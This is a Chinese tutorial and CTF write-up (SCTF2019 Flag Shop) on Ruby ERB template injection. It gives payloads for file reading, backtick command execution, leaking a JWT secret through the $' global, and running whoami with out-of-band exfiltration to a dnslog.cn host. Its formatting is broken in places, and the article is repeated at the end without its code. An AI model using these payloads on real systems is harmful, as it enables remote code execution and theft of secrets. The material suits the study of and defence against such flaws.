Ruby ERB模板注入
字数 1086 2025-08-07 08:21:57

Ruby ERB模板注入深入解析与利用

1. ERB模板基础

ERB(Embedded Ruby)是Ruby自带的模板系统,允许在文本中嵌入Ruby代码:

<% 写逻辑脚本(Ruby语法)  %>
<%= 直接输出变量值或运算结果 %>

基本使用示例:

require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())

2. 模板注入原理

当用户输入被直接拼接到ERB模板中时,可能导致代码执行:

require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7 * 7  # 用户可控的输入
puts erb_object.result(binding())

3. 利用场景示例

3.1 文件读取

x = File.open('pwd.txt').read

3.2 方法枚举

x = self.methods

3.3 系统命令执行

x = `id`  # 反引号执行系统命令

4. Ruby全局变量利用

Ruby提供了一系列全局变量,可用于信息泄露和绕过限制:

变量 描述
$! 错误信息
$@ 错误发生的位置
$0 正在执行的程序名称
$& 成功匹配的字符串
$/ 输入分隔符(默认为换行符)
$\ 输出记录分隔符
$. 上次读取的文件的当前输入行号
$~ 最后一次匹配数据
$' 最后一次匹配后的内容
$+ 最后一个括号匹配内容
$* 命令行参数(ARGV)
`

\[` | Ruby进程号 | | `$?` | 最后执行的子进程状态 | | `$:` | 加载路径($LOAD_PATH) | | `$"` | 已加载的库 | | `$FILENAME` | 当前输入文件 | | `$stdin` | 标准输入 | | `$stdout` | 标准输出 | | `$stderr` | 标准错误输出 | | `ENV` | 环境变量 | ## 5. 实战案例解析 ### 5.1 案例背景 分析[SCTF2019]Flag Shop题目,关键代码位于`/filebak`路由: ```ruby get "/filebak" do content_type :text erb IO.binread __FILE__ end ``` ### 5.2 漏洞点分析 关键漏洞位于`/work`路由: ```ruby get "/work" do islogin auth = JWT.decode cookies[:auth], ENV["SECRET"], true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth, ENV["SECRET"], 'HS256' cookies[:auth] = auth ERB.new("").result end end ``` ### 5.3 利用方法一:全局变量注入 1. 利用`$'`全局变量获取SECRET: ``` /work?SECRET=&name=<%=$'%>&do=<%=$'%> is working ``` URL编码后: ``` /work?SECRET=&name=%3C%25%3D%24%27%25%3E&do=%3C%25%3D%24%27%25%3E%20is%20working ``` 2. 获取SECRET后,修改JWT中的jkl值并购买flag ### 5.4 利用方法二:参数类型差异 利用HTTP参数传递数组类型绕过长度限制: ```ruby /work?name[]=<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=["<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>", "1", "2", "3", "4", "5", "6"] is working ``` URL编码后: ``` /work?name[]=%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=%5B%22%3C%25%3Dsystem(%27ping%20-c%201%20%60whoami%60.xuu1g4.dnslog.cn%27)%25%3E%22%2C%20%221%22%2C%20%222%22%2C%20%223%22%2C%20%224%22%2C%20%225%22%2C%20%226%22%5D%20is%20working ``` ## 6. 防御措施 1. 避免直接将用户输入拼接到ERB模板中 2. 对用户输入进行严格的过滤和转义 3. 使用安全的模板渲染方法 4. 限制ERB的执行环境 5. 使用最小权限原则运行Ruby应用 ## 7. 总结 Ruby ERB模板注入是一种危险的漏洞,攻击者可以通过精心构造的输入执行任意Ruby代码。通过理解ERB的工作原理、Ruby全局变量的特性以及HTTP参数传递的类型差异,安全研究人员可以更好地识别和利用这类漏洞,同时也能够采取更有效的防御措施。\]

Ruby ERB模板注入深入解析与利用 1. ERB模板基础 ERB(Embedded Ruby)是Ruby自带的模板系统,允许在文本中嵌入Ruby代码: 基本使用示例: 2. 模板注入原理 当用户输入被直接拼接到ERB模板中时,可能导致代码执行: 3. 利用场景示例 3.1 文件读取 3.2 方法枚举 3.3 系统命令执行 4. Ruby全局变量利用 Ruby提供了一系列全局变量,可用于信息泄露和绕过限制: | 变量 | 描述 | |------|------| | $! | 错误信息 | | $@ | 错误发生的位置 | | $0 | 正在执行的程序名称 | | $& | 成功匹配的字符串 | | $/ | 输入分隔符(默认为换行符) | | $\ | 输出记录分隔符 | | $. | 上次读取的文件的当前输入行号 | | $~ | 最后一次匹配数据 | | $' | 最后一次匹配后的内容 | | $+ | 最后一个括号匹配内容 | | $* | 命令行参数(ARGV) | | $$ | Ruby进程号 | | $? | 最后执行的子进程状态 | | $: | 加载路径($LOAD_ PATH) | | $" | 已加载的库 | | $FILENAME | 当前输入文件 | | $stdin | 标准输入 | | $stdout | 标准输出 | | $stderr | 标准错误输出 | | ENV | 环境变量 | 5. 实战案例解析 5.1 案例背景 分析[ SCTF2019]Flag Shop题目,关键代码位于 /filebak 路由: 5.2 漏洞点分析 关键漏洞位于 /work 路由: 5.3 利用方法一:全局变量注入 利用 $' 全局变量获取SECRET: URL编码后: 获取SECRET后,修改JWT中的jkl值并购买flag 5.4 利用方法二:参数类型差异 利用HTTP参数传递数组类型绕过长度限制: URL编码后: 6. 防御措施 避免直接将用户输入拼接到ERB模板中 对用户输入进行严格的过滤和转义 使用安全的模板渲染方法 限制ERB的执行环境 使用最小权限原则运行Ruby应用 7. 总结 Ruby ERB模板注入是一种危险的漏洞,攻击者可以通过精心构造的输入执行任意Ruby代码。通过理解ERB的工作原理、Ruby全局变量的特性以及HTTP参数传递的类型差异,安全研究人员可以更好地识别和利用这类漏洞,同时也能够采取更有效的防御措施。